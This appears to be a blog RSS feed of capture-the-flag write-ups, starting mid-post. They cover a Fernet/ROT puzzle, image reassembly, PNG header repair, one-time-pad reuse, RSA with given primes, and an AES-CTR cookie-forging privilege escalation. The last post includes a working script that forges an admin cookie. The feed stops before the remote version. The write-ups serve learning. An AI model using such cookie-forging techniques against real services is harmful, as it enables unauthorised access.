Solid = -
Blocks = 1

Scanning the drive:
1 file, 12 bytes (1 KiB)

Updating archive: file1.7z

Keep old data in archive: 1 file, 18 bytes (1 KiB)
Add new data to archive: 1 file, 12 bytes (1 KiB)


Files read from disk: 1
Archive size: 225 bytes (1 KiB)
Everything is Ok
  adding: tuCpTnMSbzWwyTMWrUcmPspKN.txt (stored 0%)
Fix archive (-F) - assume mostly intact archive
Zip entry offsets appear off by 225 bytes - correcting...
 copying: file2.txt
 copying: tuCpTnMSbzWwyTMWrUcmPspKN.txt
612
[*] Switching to interactive mode
 OK
Systems check:
  unzip: UnZip 6.00 of 20 April 2009, by Debian. Original by Info-ZIP.
  7z: 7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
  zipdetails:

Running unzip test.. OK
Running 7z test.. OK
Running zipdetails test.. OK
Extracting with 7z.. OK
Trying wrong file with 7z.. OK
Extracting with unzip.. OK
Extracting wrong file with unzip.. OK

You did well! Here, have a flag. It's made of *velour*:

flag{i_dont_pretend_to_understand_brannigans_law_i_merely_enforce_it}
[*] Got EOF while reading in interactive
$
[*] Closed connection to brannigans-law.hack.fe-ctf.dk port 1337

Thrus the flag is flag{i_dont_pretend_to_understand_brannigans_law_i_merely_enforce_it}

]]>FE-CTF 2023 - The Fight of the Unicorn Fans Clubshttps://osiriz.dev/posts/2023/10/fe-ctf-2023-the-fight-of-the-unicorn-fans-clubs/Tue, 31 Oct 2023 11:00:00 +0100https://osiriz.dev/posts/2023/10/fe-ctf-2023-the-fight-of-the-unicorn-fans-clubs/The Task at hand We are given the following task: Your best friend has asked for your help. She is the president of a unicorn fan club in a small village in Jutland. For years they have competed with the neighboring village about who has the best unicorn fan club. Rumor says that trusted members in the other club have access to an amazing picture of a unicorn. An insider in the other fan club has given your friend the following photos.The Task at hand

We are given the following task:

Your best friend has asked for your help. She is the president of a
unicorn fan club in a small village in Jutland. For years they have
competed with the neighboring village about who has the best unicorn
fan club. Rumor says that trusted members in the other club have
access to an amazing picture of a unicorn. An insider in the other
fan club has given your friend the following photos. Your friend
hopes that there is something in the photos that can help you gain
access to the other clubs amazing unicorn picture.

And some AI-generated images of hacker-corns, in which we are only really interested in two of them since we can their screens:

Recon

In the first image we can spot the following URL: stackoverflow.com/users/22662719/newbielookingforhelp357

If the check out the URL we get the following:

We can see that there is a github link on the account, lets look there. URL: github.com/TakingOverTheUnicornWorld

We can see that they have a EncryptorDecryptor repo:

This might have something to do with the base64 on the second image. Looking at the python file we can see that it uses rot4 and fernet to encrypt messages:

# How to encrypt and decrypt my most secret information

# STEP ONE: Caesar Cipher / ROT-n
# since the numerology number of unicorns are 4, I first encode my secret messages with a caesar cipher with a right shift of 4:

import string

alphabets = (string.ascii_lowercase, string.ascii_uppercase, string.digits)

def caesar(text, step, alphabets):

    def shift(alphabet):
        return alphabet[step:] + alphabet[:step]

    shifted_alphabets = tuple(map(shift, alphabets))
    joined_alphabets = ''.join(alphabets)
    joined_shifted_alphabets = ''.join(shifted_alphabets)
    table = str.maketrans(joined_alphabets, joined_shifted_alphabets)
    return text.translate(table)

# Write string to encrypt and chose number of shifts
encrypted_caesar=caesar('Here I enter the message I wish to encrypt', step=4, alphabets=alphabets)


# STEP TWO: Fernet encryption
# I then encrypt my output from the caesar encryption with Fernet:

from cryptography.fernet import Fernet

# The following string wil be encrypted
message = encrypted_caesar

#Choose key
key = b'NgsiRrqIgPCK_HS5eyFKAFBUQKHg0iVF4fYCNkiaPtA='

# Instantiate the Fernet class with the key
fernet = Fernet(key)

# Encrypt string
encMessage = fernet.encrypt(message.encode())

print("Final encrypted string: ", encMessage)

#DONE

# To decrypt the Fernet encryption
key = b'NgsiRrqIgPCK_HS5eyFKAFBUQKHg0iVF4fYCNkiaPtA='
fernet = Fernet(key)
decMessage = fernet.decrypt(encMessage).decode()

print("decrypted string: ", decMessage)

“Exploit”

Trying to decrypt the base64 from the second image using the key in the script doesn’t seem to work:

In [1]: from cryptography.fernet import Fernet

In [2]: msg = b'gAAAAABlGGNchBj3H1orqbqt61tAhylu-wAXMzh0ADerA1bRWuX9Tyfpo51sG3dD
   ...: ja9VK6N3ql6i941F5f4s40YDXKNEPEIDlWysUylZHa8B8OJ8Gw3gHRE='

In [3]: key = b'NgsiRrqIgPCK_HS5eyFKAFBUQKHg0iVF4fYCNkiaPtA='

In [4]: fernet = Fernet(key)

In [5]: fernet.decrypt(msg)
---------------------------------------------------------------------------
InvalidSignature                          Traceback (most recent call last)
File /opt/homebrew/lib/python3.11/site-packages/cryptography/fernet.py:134, in Fernet._verify_signature(self, data)
    133 try:
--> 134     h.verify(data[-32:])
    135 except InvalidSignature:

InvalidSignature: Signature did not match digest.

During handling of the above exception, another exception occurred:

InvalidToken                              Traceback (most recent call last)
Cell In[5], line 1
----> 1 fernet.decrypt(msg)

File /opt/homebrew/lib/python3.11/site-packages/cryptography/fernet.py:91, in Fernet.decrypt(self, token, ttl)
     89 else:
     90     time_info = (ttl, int(time.time()))
---> 91 return self._decrypt_data(data, timestamp, time_info)

File /opt/homebrew/lib/python3.11/site-packages/cryptography/fernet.py:152, in Fernet._decrypt_data(self, data, timestamp, time_info)
    149     if current_time + _MAX_CLOCK_SKEW < timestamp:
    150         raise InvalidToken
--> 152 self._verify_signature(data)
    154 iv = data[9:25]
    155 ciphertext = data[25:-32]

File /opt/homebrew/lib/python3.11/site-packages/cryptography/fernet.py:136, in Fernet._verify_signature(self, data)
    134     h.verify(data[-32:])
    135 except InvalidSignature:
--> 136     raise InvalidToken

InvalidToken:

The Correct Key

So we need to find another key. This is where I used a lot of time trying to find it, till I stumbled over the users project page, where I found it in a project named private:

So using the new key:

In [6]: key = b'cS-49j8DIDMyBhzt7vwyR_yTqbxhaLCmR1pHLmtC0Aw='

In [7]: fernet = Fernet(key)

In [8]: fernet.decrypt(msg)
Out[8]: b'fmx.pc/yrmgsvr_ai_pszi'

and rot decoding the result we get bit.ly/unicorn_we_love which leads us to https://www.dropbox.com/scl/fo/kwhyvof1eswx2yhhahqne/h?rlkey=ikxvc7igjntca00r2mxp5da4b, where we can download a txt file:

But the file is actually a jpeg file:

$ file perfection.txt
perfection.txt: JPEG image data, JFIF standard 1.01, aspect ratio,
density 1x1, segment length 16, baseline, precision 8, 1576x1148,
components 3

$ mv perfection.{txt,jpg}

Flag

And we now got the following image:

And the flag is flag{JuTLaND4ever<3}

]]>DDC 2023 Nationals - A Thousand Pieceshttps://osiriz.dev/posts/2023/05/ddc-2023-nationals-a-thousand-pieces/Sun, 07 May 2023 21:30:00 +0200https://osiriz.dev/posts/2023/05/ddc-2023-nationals-a-thousand-pieces/We are given 40000 4x3 PNG files split evenly into 4 directories: $ find . -iname &#34;*.png&#34; | wc -l 40000 $ ls -lh total 0 drwxrwxr-x 1 osiriz osiriz 291K Mar 31 11:38 0 drwxrwxr-x 1 osiriz osiriz 291K Mar 31 11:38 1 drwxrwxr-x 1 osiriz osiriz 291K Mar 31 11:38 2 drwxrwxr-x 1 osiriz osiriz 291K Mar 31 11:38 3 So we just need to reassemble the image from all the sections.We are given 40000 4x3 PNG files split evenly into 4 directories:

$ find . -iname "*.png" | wc -l
40000

$ ls -lh
total 0
drwxrwxr-x 1 osiriz osiriz 291K Mar 31 11:38 0
drwxrwxr-x 1 osiriz osiriz 291K Mar 31 11:38 1
drwxrwxr-x 1 osiriz osiriz 291K Mar 31 11:38 2
drwxrwxr-x 1 osiriz osiriz 291K Mar 31 11:38 3

So we just need to reassemble the image from all the sections. Since the images are divided into 4 directories of 10000 images, I guessed it was 4 100x100 (400x300 pixels) images combined into a single image.

So I used Pillow to assemble the image:

#!/usr/bin/env python
from PIL import Image

result = Image.new('RGB', (800, 600))

# Make the bigger squares and combine them on the result image
for i in range(4):
    subimage = Image.new('RGB', (400, 300))

    # Loop over all squares in directory
    for j in range(10000):
        subcol = j % 100
        subrow = j // 100
        with Image.open(f"{i}/square-{j}.png") as im:
            subimage.paste(im=im, box=(subcol*4, subrow*3))

    col = i % 2
    row = i // 2

    result.paste(im=subimage, box=(col*400, row*300))

result.save("flag.png", "PNG")

An we get the following image:

]]>DDC 2023 Regionals - PNG Magichttps://osiriz.dev/posts/2023/04/ddc-2023-regionals-png-magic/Tue, 18 Apr 2023 19:00:00 +0200https://osiriz.dev/posts/2023/04/ddc-2023-regionals-png-magic/We are given magic.png file, which we cannot open: Lets try and open it in hexedit to look at the file header: Seems like the PNG magic bytes is missing, so we write them in: But we still fail: Lets use pngcheck to see what is wrong: If the open the file in hexedit again we can see that the IHDR chunk was renamed to JHDR: Lets change that: Lets check it now: Lets fix the checksum: We can know open the image: Hmm&hellip; no flag, seems like we are missing something, lets see if we can add some more height to the image.We are given magic.png file, which we cannot open:

Lets try and open it in hexedit to look at the file header:

Seems like the PNG magic bytes is missing, so we write them in:

But we still fail:

Lets use pngcheck to see what is wrong:

If the open the file in hexedit again we can see that the IHDR chunk was renamed to JHDR:

Lets change that:

Lets check it now:

Lets fix the checksum:

We can know open the image:

Hmm… no flag, seems like we are missing something, lets see if we can add some more height to the image.

Looking at wikipedia we can see the IHDR chunk defines the weight and height of the image:

So lets change the height:

If we check pngcheck we can see that the crc doesn’t match anymore again:

So lets fix that:

We can now open the image and see the flag:

And we get the flag: DDC{PNG_f1l3_m4g1c14n}

]]>DDC 2023 Regionals - One Time Too Muchhttps://osiriz.dev/posts/2023/04/ddc-2023-regionals-one-time-too-much/Sun, 16 Apr 2023 20:00:00 +0200https://osiriz.dev/posts/2023/04/ddc-2023-regionals-one-time-too-much/We are given a python script that encrypts two strings (both with the flag appended) with a random one time pad: import os # read flag in as bytes with open(&#34;flag.txt&#34;, &#34;rb&#34;) as f: flag = f.read() # XOR&#39;s two bytestrings together. def xor(a,b): xor_result = b&#39;&#39; for i in range(len(a)): xor_result += bytes([a[i]^b[i]]) return xor_result # sample a completely random 200 byte one time pad! one_time_pad = os.urandom(200) # two similar messages are sent using the same pad.We are given a python script that encrypts two strings (both with the flag appended) with a random one time pad:

import os

# read flag in as bytes
with open("flag.txt", "rb") as f:
    flag = f.read()

# XOR's two bytestrings together.
def xor(a,b):
    xor_result = b''
    for i in range(len(a)):
        xor_result += bytes([a[i]^b[i]])
    return xor_result


# sample a completely random 200 byte one time pad!
one_time_pad = os.urandom(200)


# two similar messages are sent using the same pad.
msg1 = b'was the flag for the challenge ' + flag
msg2 = b'yeah, the flag was definitely ' + flag

enc_msg_1 = xor(msg1,one_time_pad)
enc_msg_2 = xor(msg2,one_time_pad)

# convert bytes to/from hex for easy storage
assert bytes.fromhex(enc_msg_1.hex()) == enc_msg_1

print(f'enc_msg_1 = {enc_msg_1.hex()}')
print(f'enc_msg_2 = {enc_msg_2.hex()}')

and the output of this script:

enc_msg_1 = b3e67510220da045ac68b2d3f5f5c7d4b8cd6c7bb914003103707dc964328221955fc12856efcf6a756147dcef6bb64c23dafb2df3a4f79f32e4791dce3a7f59662ed7e094a0af9b3d7e276e56d3c514ffd050dfa9d6be25e026c3ae
enc_msg_2 = bde267587a45b10daf24b5d8b4f488d1f9ca247afc11013e06687dcb7a77e6219267ce2951f3d246457b46f7df6abd7608c7ff25c99af58833f0741ddb1c524e6223d7f5b2cbe98c3973145c5ed7ca09d3c051d4b3fda321e83eb4

We can most of the one time pad by xoring the known plaintext and ciphertext to recreate it:

def xor(a,b):
    xor_result = b''
    for i in range(len(a)):
        xor_result += bytes([a[i]^b[i]])
    return xor_result

msg1 = b'was the flag for the challenge '
enc_msg_1 = bytes.fromhex("b3e67510220da045ac68b2d3f5f5c7d4b8cd6c7bb914003103707dc964328221955fc12856efcf6a756147dcef6bb64c23dafb2df3a4f79f32e4791dce3a7f59662ed7e094a0af9b3d7e276e56d3c514ffd050dfa9d6be25e026c3ae")

otp = xor(msg1, enc_msg_1)
print(otp)

$ python crack_otp.py
b'\xc4\x87\x060Ve\xc5e\xca\x04\xd3\xb4\xd5\x93\xa8\xa6\x98\xb9\x04\x1e\x99whPo\x1c\x18\xa

We still havent recreated enough to decrypt the flag.

We observe that msg1 is one character longer then msg2:

In [1]: msg1 = b'was the flag for the challenge '
   ...: msg2 = b'yeah, the flag was definitely '

In [2]: len(msg1)
Out[2]: 31

In [3]: len(msg2)
Out[3]: 30

We can use this extra character to recreate 31 bytes of the one time pad and then use the 31st byte to decrypt the first byte of the appended flag in the second, then add that byte to the first cleartext, calculate the 32nd byte of the one time pad and rinse and repeat this process for all bytes of the flag.

The solve script would look like this:

def xor(a,b):
    xor_result = b''
    for i in range(len(a)):
        xor_result += bytes([a[i]^b[i]])
    return xor_result

msg1 = b'was the flag for the challenge '
msg2 = b'yeah, the flag was definitely '

enc_msg_1 = bytes.fromhex("b3e67510220da045ac68b2d3f5f5c7d4b8cd6c7bb914003103707dc964328221955fc12856efcf6a756147dcef6bb64c23dafb2df3a4f79f32e4791dce3a7f59662ed7e094a0af9b3d7e276e56d3c514ffd050dfa9d6be25e026c3ae")
enc_msg_2 = bytes.fromhex("bde267587a45b10daf24b5d8b4f488d1f9ca247afc11013e06687dcb7a77e6219267ce2951f3d246457b46f7df6abd7608c7ff25c99af58833f0741ddb1c524e6223d7f5b2cbe98c3973145c5ed7ca09d3c051d4b3fda321e83eb4")

otp = xor(msg1, enc_msg_1)

for _ in range(len(otp)-1, len(enc_msg_2)):
    char = xor(otp, enc_msg_2)[-1].to_bytes(1, 'big')
    msg1 += char
    otp = xor(msg1, enc_msg_1)

print(f"\notp = {otp}")
print(f"\nmsg1 = {xor(enc_msg_1, otp)}")
print(f"\nmsg2 = {xor(enc_msg_2, otp)}")

$ python solve.py

otp = b'\xc4\x87\x060Ve\xc5e\xca\x04\xd3\xb4\xd5\x93\xa8\xa6\x98\xb9\x04\x1e\x99whPo\x1c\x18\xa7\x03W\xa2e\xd1\x1c\xba\\#\x9d\xa1\x19*\x0e2\xa8\xb0\x04\xd8)|\xae\x92@\x96\xfb\x96\xfcF\x91\x18q\xa2C +\x03O\xbb\x8c\xed\xff\x9b\xe9X\x1fK1;\xb6\xa4z\x8c\x8f\x1f\x91\xec\x89\xcaL\x8dC\xbe\xa4'

msg1 = b'was the flag for the challenge DDC{turns_out_one_time_actually_really_4real_means_ONE_time}\n'

msg2 = b'yeah, the flag was definitely DDC{turns_out_one_time_actually_really_4real_means_ONE_time}\n'

And we got the flag: DDC{turns_out_one_time_actually_really_4real_means_ONE_time}

]]>DDC 2023 Qualification - Baby Rsahttps://osiriz.dev/posts/2023/03/ddc-2023-qualification-baby-rsa/Mon, 20 Mar 2023 09:30:00 +0100https://osiriz.dev/posts/2023/03/ddc-2023-qualification-baby-rsa/We are given a text file: babyRSA.txt, with the following contents: n = 14591059584728658996740718896274912924434702993948401065953397352995339910088088733574991258740736943162240984607294149798518974390850442269320587130740348332766777840789060640046077889381042022860333067208949242541537029834713571632092399544412860224638358821688934376008405448120397447357043233351572894555161097157298917757903358450051781374553895783095933436102637259148017787894728417663857683547045820798741292596714992103546619732559091189051271145488307258679223962750029735466371748284344268969024995984222371842720543906957141892627260247305180561557377683921023735478606199803707739027008690484139631874629 e = 65537 ciphertext = 8370482736029746802272435856905582692197472046878613623126167436276048925497192051855114861968301986740953539053163947192721440270870275675104799441533614895688983570828061357190863655539868022793932838551215620997098363666548621341103618946043035652810120255282119559608036421751056052625158822827831595069995146507062852262681451781903083499147508262669740286416571718635819352694698805949316507535002658526810142183807237137069555203580152352863371601204706128986849512578411079323120877340385328130962702308650000566212396403238074531227510385807269241298909102687880672710693216031720613169757344140890527855180 # What&#39;s the plaintext? this might help! p = 135118121033494444903135040650593867761183730711309803684324950423162537667458806301698825106852556296618752800474983408511120590602816857766798006294318907531661438883032776328539787015720714526094491835105378129306305286637613861991613352256006427593441280185940386266360182068694185435614508146253927535219 q = 107987437015288865195226926953887120405158392241008731414825285641627743723768153549068145296919127709072426332548919995869779098499543714252696254999551997426879319789809420841712042595904693470932881039466995302317325926476459209840274875302406142467069199349897038463278476940799410775560424588456195916391 We know from the name, that this most have something to do with RSA, and that we have the n, e, ciphertext, p and q values. We can plot these into www.dcode.fr/rsa-cipher: And we get the flag: DDC{Crypto-was-great-but-why-was-there-no-RSA}We are given a text file: babyRSA.txt, with the following contents:

n = 14591059584728658996740718896274912924434702993948401065953397352995339910088088733574991258740736943162240984607294149798518974390850442269320587130740348332766777840789060640046077889381042022860333067208949242541537029834713571632092399544412860224638358821688934376008405448120397447357043233351572894555161097157298917757903358450051781374553895783095933436102637259148017787894728417663857683547045820798741292596714992103546619732559091189051271145488307258679223962750029735466371748284344268969024995984222371842720543906957141892627260247305180561557377683921023735478606199803707739027008690484139631874629
e = 65537
ciphertext = 8370482736029746802272435856905582692197472046878613623126167436276048925497192051855114861968301986740953539053163947192721440270870275675104799441533614895688983570828061357190863655539868022793932838551215620997098363666548621341103618946043035652810120255282119559608036421751056052625158822827831595069995146507062852262681451781903083499147508262669740286416571718635819352694698805949316507535002658526810142183807237137069555203580152352863371601204706128986849512578411079323120877340385328130962702308650000566212396403238074531227510385807269241298909102687880672710693216031720613169757344140890527855180

# What's the plaintext? this might help!
p = 135118121033494444903135040650593867761183730711309803684324950423162537667458806301698825106852556296618752800474983408511120590602816857766798006294318907531661438883032776328539787015720714526094491835105378129306305286637613861991613352256006427593441280185940386266360182068694185435614508146253927535219
q = 107987437015288865195226926953887120405158392241008731414825285641627743723768153549068145296919127709072426332548919995869779098499543714252696254999551997426879319789809420841712042595904693470932881039466995302317325926476459209840274875302406142467069199349897038463278476940799410775560424588456195916391

We know from the name, that this most have something to do with RSA, and that we have the n, e, ciphertext, p and q values.

We can plot these into www.dcode.fr/rsa-cipher:

And we get the flag: DDC{Crypto-was-great-but-why-was-there-no-RSA}

]]>DDC 2023 Qualification - Flipping Privilegehttps://osiriz.dev/posts/2023/03/ddc-2023-qualification-flipping-privilege/Mon, 20 Mar 2023 09:30:00 +0100https://osiriz.dev/posts/2023/03/ddc-2023-qualification-flipping-privilege/Recon and Introduction We are given the website http://privilege.hkn and the app.py that it is running: #!/usr/bin/env python3 from flask import Flask,request,Response,render_template,abort,make_response import json,random,os,base64 from Crypto.Cipher import AES ### Global variables app = Flask(__name__) secret_key = os.urandom(16) ctr_nonce = os.urandom(8) def gen_user_cookie(): cookie_dict = {} cookie_dict[&#34;access_level&#34;] = &#34;User&#34; pt = json.dumps(cookie_dict).encode() cipher = AES.new(secret_key, AES.MODE_CTR, nonce = ctr_nonce) ct = cipher.encrypt(pt).hex() return ct def check_admin_cookie(cookie): ct = bytes.fromhex(cookie) cipher = AES.Recon and Introduction

We are given the website http://privilege.hkn and the app.py that it is running: 

#!/usr/bin/env python3
from flask import Flask,request,Response,render_template,abort,make_response
import json,random,os,base64
from Crypto.Cipher import AES
### Global variables
app = Flask(__name__)

secret_key = os.urandom(16)
ctr_nonce = os.urandom(8)

def gen_user_cookie():
    cookie_dict = {}
    cookie_dict["access_level"] = "User"
    pt = json.dumps(cookie_dict).encode()
    cipher = AES.new(secret_key, AES.MODE_CTR, nonce = ctr_nonce)
    ct = cipher.encrypt(pt).hex()
    return ct

def check_admin_cookie(cookie):
    ct = bytes.fromhex(cookie)
    cipher = AES.new(secret_key, AES.MODE_CTR, nonce = ctr_nonce)
    pt = cipher.decrypt(ct).decode()
    cookie_dict = json.loads(pt)
    if cookie_dict["access_level"] == "Admin":
        return True
    else:
        return False


@app.route('/flag')
def retPsyduck():
    user_cookie = request.cookies.get('permissions')
    if user_cookie == None:
        return Response("No cookie set")
    try:
        allowed = check_admin_cookie(user_cookie)
    except:
        return Response("Something went wrong with your cookie")

    if allowed: 
        with open('images/flag.png','rb') as f:
                return Response(f.read(), mimetype='image/png')
    else:
        return Response("This page is for admins only!")


@app.route("/")
def index():
    res = make_response()
    cookie = gen_user_cookie()
    res.set_cookie('permissions', cookie)
    with open('./templates/index.html') as f:
        res.set_data(f.read())
    return res



if(__name__ == '__main__'):
    app.run(host='0.0.0.0')

Clicking the button redirects us to /flag (but we dont have the right permissions):

If we look at the cookies that are set we find:

Looking at the app.py we can find the gen_user_cookie function that generates this cookie:

def gen_user_cookie():
    cookie_dict = {}
    cookie_dict["access_level"] = "User"
    pt = json.dumps(cookie_dict).encode()
    cipher = AES.new(secret_key, AES.MODE_CTR, nonce = ctr_nonce)
    ct = cipher.encrypt(pt).hex()
    return ct

Lets see what it does by printing all the variables:

In [1]: import json,os

In [2]: from Crypto.Cipher import AES

In [3]: secret_key = os.urandom(16)

In [4]: ctr_nonce = os.urandom(8)

In [5]: def gen_user_cookie():
   ...:     cookie_dict = {}
   ...:     cookie_dict["access_level"] = "User"
   ...:     pt = json.dumps(cookie_dict).encode()
   ...:     cipher = AES.new(secret_key, AES.MODE_CTR, nonce = ctr_nonce)
   ...:     ct = cipher.encrypt(pt).hex()
   ...:     print(f"""
   ...:     cookie_dict ({type(cookie_dict)}): {cookie_dict}
   ...:     pt ({type(pt)}): {pt}
   ...:     cipher ({type(cipher)}): {cipher}
   ...:     ct ({type(ct)}): {ct}
   ...:     """)
   ...:     #return ct
   ...: 

In [6]: gen_user_cookie()

    cookie_dict (<class 'dict'>): {'access_level': 'User'}
    pt (<class 'bytes'>): b'{"access_level": "User"}'
    cipher (<class 'Crypto.Cipher._mode_ctr.CtrMode'>): <Crypto.Cipher._mode_ctr.CtrMode object at 0x7fbf7829c610>
    ct (<class 'str'>): 32929cf15c3aa2de78a32a30dc835b3f6711c356470d0e49

We can see that pt seems to be PlainText representing a json object denoting the access level of our user. That is then encrypted with AES in CTR (counter) mode and saved in ct as CipherText that is returned from the funtion.

If we take a look at the check_admin_cookie function, we can see how the cookie is validated for access to the flag:

def check_admin_cookie(cookie):
    ct = bytes.fromhex(cookie)
    cipher = AES.new(secret_key, AES.MODE_CTR, nonce = ctr_nonce)
    pt = cipher.decrypt(ct).decode()
    cookie_dict = json.loads(pt)
    if cookie_dict["access_level"] == "Admin":
        return True
    else:
        return False

This function decrypts the cookie and checks if access_level is set to Admin. So the goal is to somehow change our access_level in the cookie from User to Admin

The secret_key and ctr_nonce used on the server is randomly generated at startup through so we cant decrypt and encrypt our own cookie, since we cant get these.

A look at the properties of AES in CTR mode

If we take a look at how AES CTR works though we can find some interesting properties though:

We can see that each block is encrypted independently from the each other, and that each blocks ciphertext is made from the xor of plaintext and a keystream generated from the key, nonce and a counter.

With known plaintext and ciphertext we are able to calculate the generated keystream used in the xor:

pt ^ s = ct
pt ^ ct = s

And since we know the keystream we can use it to encrypt any other plaintext in the same position.

Lets try with an example:

pt = 0x41
ct = 0x69

s = pt ^ ct = 0x28

pt2 = 0x50
ct2 = pt2 ^ s = 0x78

Local exploit

Lets try and script this approach with modified functions from app.py:

#!/usr/bin/env python3
# local_exploit.py
import json,os
from Crypto.Cipher import AES

### Global variables
secret_key = os.urandom(16)
ctr_nonce = os.urandom(8)

def gen_user_cookie():
    cookie_dict = {}
    cookie_dict["access_level"] = "User"
    pt = json.dumps(cookie_dict).encode()
    cipher = AES.new(secret_key, AES.MODE_CTR, nonce = ctr_nonce)
    ct = cipher.encrypt(pt) # Made it return bytes instead of hex encoded
    return pt, ct # Made it return the plaintext too

def decrypt_cookie(cookie):
    ct = bytes.fromhex(cookie)
    cipher = AES.new(secret_key, AES.MODE_CTR, nonce = ctr_nonce)
    pt = cipher.decrypt(ct)
    return pt

# Make cookie and plaintext
plaintext, cookie = gen_user_cookie()
print(f"Plaintext (bytes): {plaintext}")
print(f"Plaintext (hex): {plaintext.hex()}")
print(f"Encrypted Cookie (hex): {cookie.hex()}")

# Calculate the keystream used in xor
keystream = []

print("\nCalculating keystream...")
for pt, ct in zip(plaintext, cookie):
    s = pt ^ ct
    keystream.append(s)
    print(f"{pt:02x} ^ {ct:02x} = {s:02x}")

# Encrypt new plaintext
new_dict = {}
new_dict["access_level"] = "Admin"
new_plaintext = json.dumps(new_dict).encode()

print(f"\nNew plaintext (bytes): {new_plaintext}")
print(f"\nNew plaintext (hex): {new_plaintext.hex()}")

new_ciphertext = ""

print("\nEncrypting new plaintext...")
for s, pt in zip(keystream, new_plaintext):
    ct = s ^ pt
    new_ciphertext += f"{ct:02x}"
    print(f"{s:02x} ^ {pt:02x} = {ct:02x}")

print(f"New Ciphertext (hex): {new_ciphertext}")

print(f"\nDecrypted Ciphertext with known secret_key and nonce: {decrypt_cookie(new_ciphertext)}")

$ python local_exploit.py
Plaintext (bytes): b'{"access_level": "User"}'
Plaintext (hex): 7b226163636573735f6c6576656c223a202255736572227d
Encrypted Cookie (hex): 36363f2ec9306e38d87f9ad8c6fabd13a2431b2c79ff34a3

Calculating keystream...
7b ^ 36 = 4d
22 ^ 36 = 14
61 ^ 3f = 5e
63 ^ 2e = 4d
63 ^ c9 = aa
65 ^ 30 = 55
73 ^ 6e = 1d
73 ^ 38 = 4b
5f ^ d8 = 87
6c ^ 7f = 13
65 ^ 9a = ff
76 ^ d8 = ae
65 ^ c6 = a3
6c ^ fa = 96
22 ^ bd = 9f
3a ^ 13 = 29
20 ^ a2 = 82
22 ^ 43 = 61
55 ^ 1b = 4e
73 ^ 2c = 5f
65 ^ 79 = 1c
72 ^ ff = 8d
22 ^ 34 = 16
7d ^ a3 = de

New plaintext (bytes): b'{"access_level": "Admin"}'

New plaintext (hex): 7b226163636573735f6c6576656c223a202241646d696e227d

Encrypting new plaintext...
4d ^ 7b = 36
14 ^ 22 = 36
5e ^ 61 = 3f
4d ^ 63 = 2e
aa ^ 63 = c9
55 ^ 65 = 30
1d ^ 73 = 6e
4b ^ 73 = 38
87 ^ 5f = d8
13 ^ 6c = 7f
ff ^ 65 = 9a
ae ^ 76 = d8
a3 ^ 65 = c6
96 ^ 6c = fa
9f ^ 22 = bd
29 ^ 3a = 13
82 ^ 20 = a2
61 ^ 22 = 43
4e ^ 41 = 0f
5f ^ 64 = 3b
1c ^ 6d = 71
8d ^ 69 = e4
16 ^ 6e = 78
de ^ 22 = fc
New Ciphertext (hex): 36363f2ec9306e38d87f9ad8c6fabd13a2430f3b71e478fc

Decrypted Ciphertext with known secret_key and nonce: b'{"access_level": "Admin"'

Bruteforce missing byte

It seems to work pretty well, we only have a little problem, the new ciphertext is missing the closing brace (}) to end the dictionary.

This happens because the user cookie is 24 bytes long but the new plaintext is 25 bytes long:

In [1]: len(b'{"access_level": "User"}')
Out[1]: 24

In [2]: len(b'{"access_level": "Admin"}')
Out[2]: 25

Since we can only calculate keystream from the plaintext we are missing the 25th keystream to encrypt the last character with.

We will need to bruteforce it instead, by anding the following to the bottom of our script:

# Bruteforce the last (extra) byte
print("\nBruteforcing the last (extra) byte")
for i in range(2**8):
    ct = new_ciphertext + f"{i:02x}"
    decrypted = decrypt_cookie(ct)
    print(f"{ct} decrypted to {decrypted}", end="...")
    if decrypted == new_plaintext:
        print("Correct")
        new_ciphertext = ct
        break
    print("Wrong")

print(f"\nNew Ciphertext with correct extra byte (hex): {new_ciphertext}")

If we then run it again we can see that we also get the last byte:

$ python local_exploit.py
Plaintext (bytes): b'{"access_level": "User"}'
Plaintext (hex): 7b226163636573735f6c6576656c223a202255736572227d
Encrypted Cookie (hex): 9aaa57450f9da26cc6fa38204d4c5d4ee5b3c935b1f543ce

Calculating keystream...
7b ^ 9a = e1
22 ^ aa = 88
61 ^ 57 = 36
63 ^ 45 = 26
63 ^ 0f = 6c
65 ^ 9d = f8
73 ^ a2 = d1
73 ^ 6c = 1f
5f ^ c6 = 99
6c ^ fa = 96
65 ^ 38 = 5d
76 ^ 20 = 56
65 ^ 4d = 28
6c ^ 4c = 20
22 ^ 5d = 7f
3a ^ 4e = 74
20 ^ e5 = c5
22 ^ b3 = 91
55 ^ c9 = 9c
73 ^ 35 = 46
65 ^ b1 = d4
72 ^ f5 = 87
22 ^ 43 = 61
7d ^ ce = b3

New plaintext (bytes): b'{"access_level": "Admin"}'

New plaintext (hex): 7b226163636573735f6c6576656c223a202241646d696e227d

Encrypting new plaintext...
e1 ^ 7b = 9a
88 ^ 22 = aa
36 ^ 61 = 57
26 ^ 63 = 45
6c ^ 63 = 0f
f8 ^ 65 = 9d
d1 ^ 73 = a2
1f ^ 73 = 6c
99 ^ 5f = c6
96 ^ 6c = fa
5d ^ 65 = 38
56 ^ 76 = 20
28 ^ 65 = 4d
20 ^ 6c = 4c
7f ^ 22 = 5d
74 ^ 3a = 4e
c5 ^ 20 = e5
91 ^ 22 = b3
9c ^ 41 = dd
46 ^ 64 = 22
d4 ^ 6d = b9
87 ^ 69 = ee
61 ^ 6e = 0f
b3 ^ 22 = 91
New Ciphertext (hex): 9aaa57450f9da26cc6fa38204d4c5d4ee5b3dd22b9ee0f91

Decrypted Ciphertext with known secret_key and nonce: b'{"access_level": "Admin"'

Bruteforcing the last (extra) byte
9aaa57450f9da26cc6fa38204d4c5d4ee5b3dd22b9ee0f9100 decrypted to b'{"access_level": "Admin"\xb6'...Wrong
9aaa57450f9da26cc6fa38204d4c5d4ee5b3dd22b9ee0f9101 decrypted to b'{"access_level": "Admin"\xb7'...Wrong
9aaa57450f9da26cc6fa38204d4c5d4ee5b3dd22b9ee0f9102 decrypted to b'{"access_level": "Admin"\xb4'...Wrong
...
9aaa57450f9da26cc6fa38204d4c5d4ee5b3dd22b9ee0f91c9 decrypted to b'{"access_level": "Admin"\x7f'...Wrong
9aaa57450f9da26cc6fa38204d4c5d4ee5b3dd22b9ee0f91ca decrypted to b'{"access_level": "Admin"|'...Wrong
9aaa57450f9da26cc6fa38204d4c5d4ee5b3dd22b9ee0f91cb decrypted to b'{"access_level": "Admin"}'...Correct

New Ciphertext with correct extra byte (hex): 9aaa57450f9da26cc6fa38204d4c5d4ee5b3dd22b9ee0f91cb

Remote exploit

Now we just need to change the code to be able to do it with the cookie from the challenge server. I modified the script to the following:

